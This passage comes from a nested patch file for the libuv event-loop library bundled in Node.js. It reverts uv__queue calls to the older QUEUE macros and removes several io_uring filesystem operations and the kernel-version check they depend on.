+ uv__cf_loop_signal_t* s;
+ uv__cf_loop_state_t* state;
+- struct uv__queue* q;
++ QUEUE* q;
+
+ if (loop->cf_state == NULL)
+ return;
+@@ -688,10 +688,10 @@ void uv__fsevents_loop_delete(uv_loop_t* loop) {
+ uv_mutex_destroy(&loop->cf_mutex);
+
+ /* Free any remaining data */
+- while (!uv__queue_empty(&loop->cf_signals)) {
+- q = uv__queue_head(&loop->cf_signals);
+- s = uv__queue_data(q, uv__cf_loop_signal_t, member);
+- uv__queue_remove(q);
++ while (!QUEUE_EMPTY(&loop->cf_signals)) {
++ q = QUEUE_HEAD(&loop->cf_signals);
++ s = QUEUE_DATA(q, uv__cf_loop_signal_t, member);
++ QUEUE_REMOVE(q);
+ uv__free(s);
+ }
+
+@@ -735,22 +735,22 @@ static void* uv__cf_loop_runner(void* arg) {
+ static void uv__cf_loop_cb(void* arg) {
+ uv_loop_t* loop;
+ uv__cf_loop_state_t* state;
+- struct uv__queue* item;
+- struct uv__queue split_head;
++ QUEUE* item;
++ QUEUE split_head;
+ uv__cf_loop_signal_t* s;
+
+ loop = arg;
+ state = loop->cf_state;
+
+ uv_mutex_lock(&loop->cf_mutex);
+- uv__queue_move(&loop->cf_signals, &split_head);
++ QUEUE_MOVE(&loop->cf_signals, &split_head);
+ uv_mutex_unlock(&loop->cf_mutex);
+
+- while (!uv__queue_empty(&split_head)) {
+- item = uv__queue_head(&split_head);
+- uv__queue_remove(item);
++ while (!QUEUE_EMPTY(&split_head)) {
++ item = QUEUE_HEAD(&split_head);
++ QUEUE_REMOVE(item);
+
+- s = uv__queue_data(item, uv__cf_loop_signal_t, member);
++ s = QUEUE_DATA(item, uv__cf_loop_signal_t, member);
+
+ /* This was a termination signal */
+ if (s->handle == NULL)
+@@ -778,7 +778,7 @@ int uv__cf_loop_signal(uv_loop_t* loop,
+ item->type = type;
+
+ uv_mutex_lock(&loop->cf_mutex);
+- uv__queue_insert_tail(&loop->cf_signals, &item->member);
++ QUEUE_INSERT_TAIL(&loop->cf_signals, &item->member);
+
+ state = loop->cf_state;
+ assert(state != NULL);
+@@ -807,7 +807,7 @@ int uv__fsevents_init(uv_fs_event_t* handle) {
+ handle->realpath_len = strlen(handle->realpath);
+
+ /* Initialize event queue */
+- uv__queue_init(&handle->cf_events);
++ QUEUE_INIT(&handle->cf_events);
+ handle->cf_error = 0;
+
+ /*
+@@ -832,7 +832,7 @@ int uv__fsevents_init(uv_fs_event_t* handle) {
+ /* Insert handle into the list */
+ state = handle->loop->cf_state;
+ uv_mutex_lock(&state->fsevent_mutex);
+- uv__queue_insert_tail(&state->fsevent_handles, &handle->cf_member);
++ QUEUE_INSERT_TAIL(&state->fsevent_handles, &handle->cf_member);
+ state->fsevent_handle_count++;
+ state->fsevent_need_reschedule = 1;
+ uv_mutex_unlock(&state->fsevent_mutex);
+@@ -872,7 +872,7 @@ int uv__fsevents_close(uv_fs_event_t* handle) {
+ /* Remove handle from the list */
+ state = handle->loop->cf_state;
+ uv_mutex_lock(&state->fsevent_mutex);
+- uv__queue_remove(&handle->cf_member);
++ QUEUE_REMOVE(&handle->cf_member);
+ state->fsevent_handle_count--;
+ state->fsevent_need_reschedule = 1;
+ uv_mutex_unlock(&state->fsevent_mutex);
+diff --git a/deps/uv/src/unix/internal.h b/deps/uv/src/unix/internal.h
+index fe588513603..6c5822e6a0d 100644
+--- a/deps/uv/src/unix/internal.h
++++ b/deps/uv/src/unix/internal.h
+@@ -335,30 +335,20 @@ int uv__iou_fs_close(uv_loop_t* loop, uv_fs_t* req);
+ int uv__iou_fs_fsync_or_fdatasync(uv_loop_t* loop,
+ uv_fs_t* req,
+ uint32_t fsync_flags);
+-int uv__iou_fs_link(uv_loop_t* loop, uv_fs_t* req);
+-int uv__iou_fs_mkdir(uv_loop_t* loop, uv_fs_t* req);
+ int uv__iou_fs_open(uv_loop_t* loop, uv_fs_t* req);
+ int uv__iou_fs_read_or_write(uv_loop_t* loop,
+ uv_fs_t* req,
+ int is_read);
+-int uv__iou_fs_rename(uv_loop_t* loop, uv_fs_t* req);
+ int uv__iou_fs_statx(uv_loop_t* loop,
+ uv_fs_t* req,
+ int is_fstat,
+ int is_lstat);
+-int uv__iou_fs_symlink(uv_loop_t* loop, uv_fs_t* req);
+-int uv__iou_fs_unlink(uv_loop_t* loop, uv_fs_t* req);
+ #else
+ #define uv__iou_fs_close(loop, req) 0
+ #define uv__iou_fs_fsync_or_fdatasync(loop, req, fsync_flags) 0
+-#define uv__iou_fs_link(loop, req) 0
+-#define uv__iou_fs_mkdir(loop, req) 0
+ #define uv__iou_fs_open(loop, req) 0
+ #define uv__iou_fs_read_or_write(loop, req, is_read) 0
+-#define uv__iou_fs_rename(loop, req) 0
+ #define uv__iou_fs_statx(loop, req, is_fstat, is_lstat) 0
+-#define uv__iou_fs_symlink(loop, req) 0
+-#define uv__iou_fs_unlink(loop, req) 0
+ #endif
+
+ #if defined(__APPLE__)
+@@ -439,7 +429,6 @@ int uv__statx(int dirfd,
+ struct uv__statx* statxbuf);
+ void uv__statx_to_stat(const struct uv__statx* statxbuf, uv_stat_t* buf);
+ ssize_t uv__getrandom(void* buf, size_t buflen, unsigned flags);
+-unsigned uv__kernel_version(void);
+ #endif
+
+ typedef int (*uv__peersockfunc)(int, struct sockaddr*, socklen_t*);
+diff --git a/deps/uv/src/unix/kqueue.c b/deps/uv/src/unix/kqueue.c
+index b78242d3be4..82916d65933 100644
+--- a/deps/uv/src/unix/kqueue.c
++++ b/deps/uv/src/unix/kqueue.c
+@@ -133,7 +133,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ struct timespec spec;
+ unsigned int nevents;
+ unsigned int revents;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__io_t* w;
+ uv_process_t* process;
+ sigset_t* pset;
+@@ -152,19 +152,19 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int reset_timeout;
+
+ if (loop->nfds == 0) {
+- assert(uv__queue_empty(&loop->watcher_queue));
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
+ return;
+ }
+
+ lfields = uv__get_internal_fields(loop);
+ nevents = 0;
+
+- while (!uv__queue_empty(&loop->watcher_queue)) {
+- q = uv__queue_head(&loop->watcher_queue);
+- uv__queue_remove(q);
+- uv__queue_init(q);
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
+
+- w = uv__queue_data(q, uv__io_t, watcher_queue);
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
+ assert(w->pevents != 0);
+ assert(w->fd >= 0);
+ assert(w->fd < (int) loop->nwatchers);
+@@ -307,8 +307,8 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+
+ /* Handle kevent NOTE_EXIT results */
+ if (ev->filter == EVFILT_PROC) {
+- uv__queue_foreach(q, &loop->process_handles) {
+- process = uv__queue_data(q, uv_process_t, queue);
++ QUEUE_FOREACH(q, &loop->process_handles) {
++ process = QUEUE_DATA(q, uv_process_t, queue);
+ if (process->pid == fd) {
+ process->flags |= UV_HANDLE_REAP;
+ loop->flags |= UV_LOOP_REAP_CHILDREN;
+diff --git a/deps/uv/src/unix/linux.c b/deps/uv/src/unix/linux.c
+index 48b9c2c43e1..5f84ad0eea3 100644
+--- a/deps/uv/src/unix/linux.c
++++ b/deps/uv/src/unix/linux.c
+@@ -48,7 +48,6 @@
+ #include <sys/sysinfo.h>
+ #include <sys/sysmacros.h>
+ #include <sys/types.h>
+-#include <sys/utsname.h>
+ #include <time.h>
+ #include <unistd.h>
+
+@@ -151,11 +150,6 @@ enum {
+ UV__IORING_OP_CLOSE = 19,
+ UV__IORING_OP_STATX = 21,
+ UV__IORING_OP_EPOLL_CTL = 29,
+- UV__IORING_OP_RENAMEAT = 35,
+- UV__IORING_OP_UNLINKAT = 36,
+- UV__IORING_OP_MKDIRAT = 37,
+- UV__IORING_OP_SYMLINKAT = 38,
+- UV__IORING_OP_LINKAT = 39,
+ };
+
+ enum {
+@@ -168,10 +162,6 @@ enum {
+ UV__IORING_SQ_CQ_OVERFLOW = 2u,
+ };
+
+-enum {
+- UV__MKDIRAT_SYMLINKAT_LINKAT = 1u,
+-};
+-
+ struct uv__io_cqring_offsets {
+ uint32_t head;
+ uint32_t tail;
+@@ -267,7 +257,7 @@ STATIC_ASSERT(EPOLL_CTL_MOD < 4);
+
+ struct watcher_list {
+ RB_ENTRY(watcher_list) entry;
+- struct uv__queue watchers;
++ QUEUE watchers;
+ int iterating;
+ char* path;
+ int wd;
+@@ -310,31 +300,6 @@ static struct watcher_root* uv__inotify_watchers(uv_loop_t* loop) {
+ }
+
+
+-unsigned uv__kernel_version(void) {
+- static _Atomic unsigned cached_version;
+- struct utsname u;
+- unsigned version;
+- unsigned major;
+- unsigned minor;
+- unsigned patch;
+-
+- version = atomic_load_explicit(&cached_version, memory_order_relaxed);
+- if (version != 0)
+- return version;
+-
+- if (-1 == uname(&u))
+- return 0;
+-
+- if (3 != sscanf(u.release, "%u.%u.%u", &major, &minor, &patch))
+- return 0;
+-
+- version = major * 65536 + minor * 256 + patch;
+- atomic_store_explicit(&cached_version, version, memory_order_relaxed);
+-
+- return version;
+-}
+-
+-
+ ssize_t
+ uv__fs_copy_file_range(int fd_in,
+ off_t* off_in,
+@@ -420,9 +385,6 @@ int uv__io_uring_register(int fd, unsigned opcode, void* arg, unsigned nargs) {
+
+
+ static int uv__use_io_uring(void) {
+-#if defined(__ANDROID_API__)
+- return 0; /* Possibly available but blocked by seccomp. */
+-#else
+ /* Ternary: unknown=0, yes=1, no=-1 */
+ static _Atomic int use_io_uring;
+ char* val;
+@@ -437,7 +399,6 @@ static int uv__use_io_uring(void) {
+ }
+
+ return use > 0;
+-#endif
+ }
+
+
+@@ -542,10 +503,6 @@ static void uv__iou_init(int epollfd,
+ iou->sqelen = sqelen;
+ iou->ringfd = ringfd;
+ iou->in_flight = 0;
+- iou->flags = 0;
+-
+- if (uv__kernel_version() >= /* 5.15.0 */ 0x050F00)
+- iou->flags |= UV__MKDIRAT_SYMLINKAT_LINKAT;
+
+ for (i = 0; i <= iou->sqmask; i++)
+ iou->sqarray[i] = i; /* Slot -> sqe identity mapping. */
+@@ -727,7 +684,7 @@ static struct uv__io_uring_sqe* uv__iou_get_sqe(struct uv__iou* iou,
+ req->work_req.loop = loop;
+ req->work_req.work = NULL;
+ req->work_req.done = NULL;
+- uv__queue_init(&req->work_req.wq);
++ QUEUE_INIT(&req->work_req.wq);
+
+ uv__req_register(loop, req);
+ iou->in_flight++;
+@@ -757,17 +714,6 @@ int uv__iou_fs_close(uv_loop_t* loop, uv_fs_t* req) {
+ struct uv__io_uring_sqe* sqe;
+ struct uv__iou* iou;
+
+- /* Work around a poorly understood bug in older kernels where closing a file
+- * descriptor pointing to /foo/bar results in ETXTBSY errors when trying to
+- * execve("/foo/bar") later on. The bug seems to have been fixed somewhere
+- * between 5.15.85 and 5.15.90. I couldn't pinpoint the responsible commit
+- * but good candidates are the several data race fixes. Interestingly, it
+- * seems to manifest only when running under Docker so the possibility of
+- * a Docker bug can't be completely ruled out either. Yay, computers.
+- */
+- if (uv__kernel_version() < /* 5.15.90 */ 0x050F5A)
+- return 0;
+-
+ iou = &uv__get_internal_fields(loop)->iou;
+
+ sqe = uv__iou_get_sqe(iou, loop, req);
+@@ -808,55 +754,6 @@ int uv__iou_fs_fsync_or_fdatasync(uv_loop_t* loop,
+ }
+
+
+-int uv__iou_fs_link(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- if (!(iou->flags & UV__MKDIRAT_SYMLINKAT_LINKAT))
+- return 0;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->fd = AT_FDCWD;
+- sqe->addr2 = (uintptr_t) req->new_path;
+- sqe->len = AT_FDCWD;
+- sqe->opcode = UV__IORING_OP_LINKAT;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_mkdir(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- if (!(iou->flags & UV__MKDIRAT_SYMLINKAT_LINKAT))
+- return 0;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->fd = AT_FDCWD;
+- sqe->len = req->mode;
+- sqe->opcode = UV__IORING_OP_MKDIRAT;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+ int uv__iou_fs_open(uv_loop_t* loop, uv_fs_t* req) {
+ struct uv__io_uring_sqe* sqe;
+ struct uv__iou* iou;
+@@ -879,86 +776,16 @@ int uv__iou_fs_open(uv_loop_t* loop, uv_fs_t* req) {
+ }
+
+
+-int uv__iou_fs_rename(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->fd = AT_FDCWD;
+- sqe->addr2 = (uintptr_t) req->new_path;
+- sqe->len = AT_FDCWD;
+- sqe->opcode = UV__IORING_OP_RENAMEAT;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_symlink(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- if (!(iou->flags & UV__MKDIRAT_SYMLINKAT_LINKAT))
+- return 0;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->fd = AT_FDCWD;
+- sqe->addr2 = (uintptr_t) req->new_path;
+- sqe->opcode = UV__IORING_OP_SYMLINKAT;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_unlink(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->fd = AT_FDCWD;
+- sqe->opcode = UV__IORING_OP_UNLINKAT;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+ int uv__iou_fs_read_or_write(uv_loop_t* loop,
+ uv_fs_t* req,
+ int is_read) {
+ struct uv__io_uring_sqe* sqe;
+ struct uv__iou* iou;
+
+- /* If iovcnt is greater than IOV_MAX, cap it to IOV_MAX on reads and fallback
+- * to the threadpool on writes */
+- if (req->nbufs > IOV_MAX) {
+- if (is_read)
+- req->nbufs = IOV_MAX;
+- else
+- return 0;
+- }
++ /* For the moment, if iovcnt is greater than IOV_MAX, fallback to the
++ * threadpool. In the future we might take advantage of IOSQE_IO_LINK. */
++ if (req->nbufs > IOV_MAX)
++ return 0;
+
+ iou = &uv__get_internal_fields(loop)->iou;
+
+@@ -1265,7 +1092,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ struct uv__iou* ctl;
+ struct uv__iou* iou;
+ int real_timeout;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__io_t* w;
+ sigset_t* sigmask;
+ sigset_t sigset;
+@@ -1311,11 +1138,11 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+
+ memset(&e, 0, sizeof(e));
+
+- while (!uv__queue_empty(&loop->watcher_queue)) {
+- q = uv__queue_head(&loop->watcher_queue);
+- w = uv__queue_data(q, uv__io_t, watcher_queue);
+- uv__queue_remove(q);
+- uv__queue_init(q);
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
+
+ op = EPOLL_CTL_MOD;
+ if (w->events == 0)
+@@ -2272,8 +2099,8 @@ static int uv__inotify_fork(uv_loop_t* loop, struct watcher_list* root) {
+ struct watcher_list* tmp_watcher_list_iter;
+ struct watcher_list* watcher_list;
+ struct watcher_list tmp_watcher_list;
+- struct uv__queue queue;
+- struct uv__queue* q;
++ QUEUE queue;
++ QUEUE* q;
+ uv_fs_event_t* handle;
+ char* tmp_path;
+
+@@ -2285,41 +2112,41 @@ static int uv__inotify_fork(uv_loop_t* loop, struct watcher_list* root) {
+ */
+ loop->inotify_watchers = root;
+
+- uv__queue_init(&tmp_watcher_list.watchers);
++ QUEUE_INIT(&tmp_watcher_list.watchers);
+ /* Note that the queue we use is shared with the start and stop()
+- * functions, making uv__queue_foreach unsafe to use. So we use the
+- * uv__queue_move trick to safely iterate. Also don't free the watcher
++ * functions, making QUEUE_FOREACH unsafe to use. So we use the
++ * QUEUE_MOVE trick to safely iterate. Also don't free the watcher
+ * list until we're done iterating. c.f. uv__inotify_read.
+ */
+ RB_FOREACH_SAFE(watcher_list, watcher_root,
+ uv__inotify_watchers(loop), tmp_watcher_list_iter) {
+ watcher_list->iterating = 1;
+- uv__queue_move(&watcher_list->watchers, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- handle = uv__queue_data(q, uv_fs_event_t, watchers);
++ QUEUE_MOVE(&watcher_list->watchers, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ handle = QUEUE_DATA(q, uv_fs_event_t, watchers);
+ /* It's critical to keep a copy of path here, because it
+ * will be set to NULL by stop() and then deallocated by
+ * maybe_free_watcher_list
+ */
+ tmp_path = uv__strdup(handle->path);
+ assert(tmp_path != NULL);
+- uv__queue_remove(q);
+- uv__queue_insert_tail(&watcher_list->watchers, q);
++ QUEUE_REMOVE(q);
++ QUEUE_INSERT_TAIL(&watcher_list->watchers, q);
+ uv_fs_event_stop(handle);
+
+- uv__queue_insert_tail(&tmp_watcher_list.watchers, &handle->watchers);
++ QUEUE_INSERT_TAIL(&tmp_watcher_list.watchers, &handle->watchers);
+ handle->path = tmp_path;
+ }
+ watcher_list->iterating = 0;
+ maybe_free_watcher_list(watcher_list, loop);
+ }
+
+- uv__queue_move(&tmp_watcher_list.watchers, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- uv__queue_remove(q);
+- handle = uv__queue_data(q, uv_fs_event_t, watchers);
++ QUEUE_MOVE(&tmp_watcher_list.watchers, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ QUEUE_REMOVE(q);
++ handle = QUEUE_DATA(q, uv_fs_event_t, watchers);
+ tmp_path = handle->path;
+ handle->path = NULL;
+ err = uv_fs_event_start(handle, handle->cb, tmp_path, 0);
+@@ -2341,7 +2168,7 @@ static struct watcher_list* find_watcher(uv_loop_t* loop, int wd) {
+
+ static void maybe_free_watcher_list(struct watcher_list* w, uv_loop_t* loop) {
+ /* if the watcher_list->watchers is being iterated over, we can't free it. */
+- if ((!w->iterating) && uv__queue_empty(&w->watchers)) {
++ if ((!w->iterating) && QUEUE_EMPTY(&w->watchers)) {
+ /* No watchers left for this path. Clean up. */
+ RB_REMOVE(watcher_root, uv__inotify_watchers(loop), w);
+ inotify_rm_watch(loop->inotify_fd, w->wd);
+@@ -2356,8 +2183,8 @@ static void uv__inotify_read(uv_loop_t* loop,
+ const struct inotify_event* e;
+ struct watcher_list* w;
+ uv_fs_event_t* h;
+- struct uv__queue queue;
+- struct uv__queue* q;
++ QUEUE queue;
++ QUEUE* q;
+ const char* path;
+ ssize_t size;
+ const char *p;
+@@ -2400,7 +2227,7 @@ static void uv__inotify_read(uv_loop_t* loop,
+ * What can go wrong?
+ * A callback could call uv_fs_event_stop()
+ * and the queue can change under our feet.
+- * So, we use uv__queue_move() trick to safely iterate over the queue.
++ * So, we use QUEUE_MOVE() trick to safely iterate over the queue.
+ * And we don't free the watcher_list until we're done iterating.
+ *
+ * First,
+@@ -2408,13 +2235,13 @@ static void uv__inotify_read(uv_loop_t* loop,
+ * not to free watcher_list.
+ */
+ w->iterating = 1;
+- uv__queue_move(&w->watchers, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- h = uv__queue_data(q, uv_fs_event_t, watchers);
++ QUEUE_MOVE(&w->watchers, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ h = QUEUE_DATA(q, uv_fs_event_t, watchers);
+
+- uv__queue_remove(q);
+- uv__queue_insert_tail(&w->watchers, q);
++ QUEUE_REMOVE(q);
++ QUEUE_INSERT_TAIL(&w->watchers, q);
+
+ h->cb(h, path, events, 0);
+ }
+@@ -2476,13 +2303,13 @@ int uv_fs_event_start(uv_fs_event_t* handle,
+
+ w->wd = wd;
+ w->path = memcpy(w + 1, path, len);
+- uv__queue_init(&w->watchers);
++ QUEUE_INIT(&w->watchers);
+ w->iterating = 0;
+ RB_INSERT(watcher_root, uv__inotify_watchers(loop), w);
+
+ no_insert:
+ uv__handle_start(handle);
+- uv__queue_insert_tail(&w->watchers, &handle->watchers);
++ QUEUE_INSERT_TAIL(&w->watchers, &handle->watchers);
+ handle->path = w->path;
+ handle->cb = cb;
+ handle->wd = wd;
+@@ -2503,7 +2330,7 @@ int uv_fs_event_stop(uv_fs_event_t* handle) {
+ handle->wd = -1;
+ handle->path = NULL;
+ uv__handle_stop(handle);
+- uv__queue_remove(&handle->watchers);
++ QUEUE_REMOVE(&handle->watchers);
+
+ maybe_free_watcher_list(w, handle->loop);
+
+diff --git a/deps/uv/src/unix/loop-watcher.c b/deps/uv/src/unix/loop-watcher.c
+index 2db8b515df7..b8c1c2a7102 100644
+--- a/deps/uv/src/unix/loop-watcher.c
++++ b/deps/uv/src/unix/loop-watcher.c
+@@ -32,7 +32,7 @@
+ int uv_##name##_start(uv_##name##_t* handle, uv_##name##_cb cb) { \
+ if (uv__is_active(handle)) return 0; \
+ if (cb == NULL) return UV_EINVAL; \
+- uv__queue_insert_head(&handle->loop->name##_handles, &handle->queue); \
++ QUEUE_INSERT_HEAD(&handle->loop->name##_handles, &handle->queue); \
+ handle->name##_cb = cb; \
+ uv__handle_start(handle); \
+ return 0; \
+@@ -40,21 +40,21 @@
+ \
+ int uv_##name##_stop(uv_##name##_t* handle) { \
+ if (!uv__is_active(handle)) return 0; \
+- uv__queue_remove(&handle->queue); \
++ QUEUE_REMOVE(&handle->queue); \
+ uv__handle_stop(handle); \
+ return 0; \
+ } \
+ \
+ void uv__run_##name(uv_loop_t* loop) { \
+ uv_##name##_t* h; \
+- struct uv__queue queue; \
+- struct uv__queue* q; \
+- uv__queue_move(&loop->name##_handles, &queue); \
+- while (!uv__queue_empty(&queue)) { \
+- q = uv__queue_head(&queue); \
+- h = uv__queue_data(q, uv_##name##_t, queue); \
+- uv__queue_remove(q); \
+- uv__queue_insert_tail(&loop->name##_handles, q); \
++ QUEUE queue; \
++ QUEUE* q; \
++ QUEUE_MOVE(&loop->name##_handles, &queue); \
++ while (!QUEUE_EMPTY(&queue)) { \
++ q = QUEUE_HEAD(&queue); \
++ h = QUEUE_DATA(q, uv_##name##_t, queue); \
++ QUEUE_REMOVE(q); \
++ QUEUE_INSERT_TAIL(&loop->name##_handles, q); \
+ h->name##_cb(h); \
+ } \
+ } \
+diff --git a/deps/uv/src/unix/loop.c b/deps/uv/src/unix/loop.c
+index a9468e8e19c..90a51b339de 100644
+--- a/deps/uv/src/unix/loop.c
++++ b/deps/uv/src/unix/loop.c
+@@ -50,20 +50,20 @@ int uv_loop_init(uv_loop_t* loop) {
+ sizeof(lfields->loop_metrics.metrics));
+
+ heap_init((struct heap*) &loop->timer_heap);
+- uv__queue_init(&loop->wq);
+- uv__queue_init(&loop->idle_handles);
+- uv__queue_init(&loop->async_handles);
+- uv__queue_init(&loop->check_handles);
+- uv__queue_init(&loop->prepare_handles);
+- uv__queue_init(&loop->handle_queue);
++ QUEUE_INIT(&loop->wq);
++ QUEUE_INIT(&loop->idle_handles);
++ QUEUE_INIT(&loop->async_handles);
++ QUEUE_INIT(&loop->check_handles);
++ QUEUE_INIT(&loop->prepare_handles);
++ QUEUE_INIT(&loop->handle_queue);
+
+ loop->active_handles = 0;
+ loop->active_reqs.count = 0;
+ loop->nfds = 0;
+ loop->watchers = NULL;
+ loop->nwatchers = 0;
+- uv__queue_init(&loop->pending_queue);
+- uv__queue_init(&loop->watcher_queue);
++ QUEUE_INIT(&loop->pending_queue);
++ QUEUE_INIT(&loop->watcher_queue);
+
+ loop->closing_handles = NULL;
+ uv__update_time(loop);
+@@ -85,7 +85,7 @@ int uv_loop_init(uv_loop_t* loop) {
+ err = uv__process_init(loop);
+ if (err)
+ goto fail_signal_init;
+- uv__queue_init(&loop->process_handles);
++ QUEUE_INIT(&loop->process_handles);
+
+ err = uv_rwlock_init(&loop->cloexec_lock);
+ if (err)
+@@ -152,9 +152,9 @@ int uv_loop_fork(uv_loop_t* loop) {
+ if (w == NULL)
+ continue;
+
+- if (w->pevents != 0 && uv__queue_empty(&w->watcher_queue)) {
++ if (w->pevents != 0 && QUEUE_EMPTY(&w->watcher_queue)) {
+ w->events = 0; /* Force re-registration in uv__io_poll. */
+- uv__queue_insert_tail(&loop->watcher_queue, &w->watcher_queue);
++ QUEUE_INSERT_TAIL(&loop->watcher_queue, &w->watcher_queue);
+ }
+ }
+
+@@ -180,7 +180,7 @@ void uv__loop_close(uv_loop_t* loop) {
+ }
+
+ uv_mutex_lock(&loop->wq_mutex);
+- assert(uv__queue_empty(&loop->wq) && "thread pool work queue not empty!");
++ assert(QUEUE_EMPTY(&loop->wq) && "thread pool work queue not empty!");
+ assert(!uv__has_active_reqs(loop));
+ uv_mutex_unlock(&loop->wq_mutex);
+ uv_mutex_destroy(&loop->wq_mutex);
+@@ -192,8 +192,8 @@ void uv__loop_close(uv_loop_t* loop) {
+ uv_rwlock_destroy(&loop->cloexec_lock);
+
+ #if 0
+- assert(uv__queue_empty(&loop->pending_queue));
+- assert(uv__queue_empty(&loop->watcher_queue));
++ assert(QUEUE_EMPTY(&loop->pending_queue));
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
+ assert(loop->nfds == 0);
+ #endif
+
+diff --git a/deps/uv/src/unix/os390-syscalls.c b/deps/uv/src/unix/os390-syscalls.c
+index 7f90c270906..5861aaaa202 100644
+--- a/deps/uv/src/unix/os390-syscalls.c
++++ b/deps/uv/src/unix/os390-syscalls.c
+@@ -27,7 +27,7 @@
+ #include <termios.h>
+ #include <sys/msg.h>
+
+-static struct uv__queue global_epoll_queue;
++static QUEUE global_epoll_queue;
+ static uv_mutex_t global_epoll_lock;
+ static uv_once_t once = UV_ONCE_INIT;
+
+@@ -178,18 +178,18 @@ static void after_fork(void) {
+
+
+ static void child_fork(void) {
+- struct uv__queue* q;
++ QUEUE* q;
+ uv_once_t child_once = UV_ONCE_INIT;
+
+ /* reset once */
+ memcpy(&once, &child_once, sizeof(child_once));
+
+ /* reset epoll list */
+- while (!uv__queue_empty(&global_epoll_queue)) {
++ while (!QUEUE_EMPTY(&global_epoll_queue)) {
+ uv__os390_epoll* lst;
+- q = uv__queue_head(&global_epoll_queue);
+- uv__queue_remove(q);
+- lst = uv__queue_data(q, uv__os390_epoll, member);
++ q = QUEUE_HEAD(&global_epoll_queue);
++ QUEUE_REMOVE(q);
++ lst = QUEUE_DATA(q, uv__os390_epoll, member);
+ uv__free(lst->items);
+ lst->items = NULL;
+ lst->size = 0;
+@@ -201,7 +201,7 @@ static void child_fork(void) {
+
+
+ static void epoll_init(void) {
+- uv__queue_init(&global_epoll_queue);
++ QUEUE_INIT(&global_epoll_queue);
+ if (uv_mutex_init(&global_epoll_lock))
+ abort();
+
+@@ -225,7 +225,7 @@ uv__os390_epoll* epoll_create1(int flags) {
+ lst->items[lst->size - 1].revents = 0;
+ uv_once(&once, epoll_init);
+ uv_mutex_lock(&global_epoll_lock);
+- uv__queue_insert_tail(&global_epoll_queue, &lst->member);
++ QUEUE_INSERT_TAIL(&global_epoll_queue, &lst->member);
+ uv_mutex_unlock(&global_epoll_lock);
+ }
+
+@@ -352,14 +352,14 @@ int epoll_wait(uv__os390_epoll* lst, struct epoll_event* events,
+
+
+ int epoll_file_close(int fd) {
+- struct uv__queue* q;
++ QUEUE* q;
+
+ uv_once(&once, epoll_init);
+ uv_mutex_lock(&global_epoll_lock);
+- uv__queue_foreach(q, &global_epoll_queue) {
++ QUEUE_FOREACH(q, &global_epoll_queue) {
+ uv__os390_epoll* lst;
+
+- lst = uv__queue_data(q, uv__os390_epoll, member);
++ lst = QUEUE_DATA(q, uv__os390_epoll, member);
+ if (fd < lst->size && lst->items != NULL && lst->items[fd].fd != -1)
+ lst->items[fd].fd = -1;
+ }
+@@ -371,7 +371,7 @@ int epoll_file_close(int fd) {
+ void epoll_queue_close(uv__os390_epoll* lst) {
+ /* Remove epoll instance from global queue */
+ uv_mutex_lock(&global_epoll_lock);
+- uv__queue_remove(&lst->member);
++ QUEUE_REMOVE(&lst->member);
+ uv_mutex_unlock(&global_epoll_lock);
+
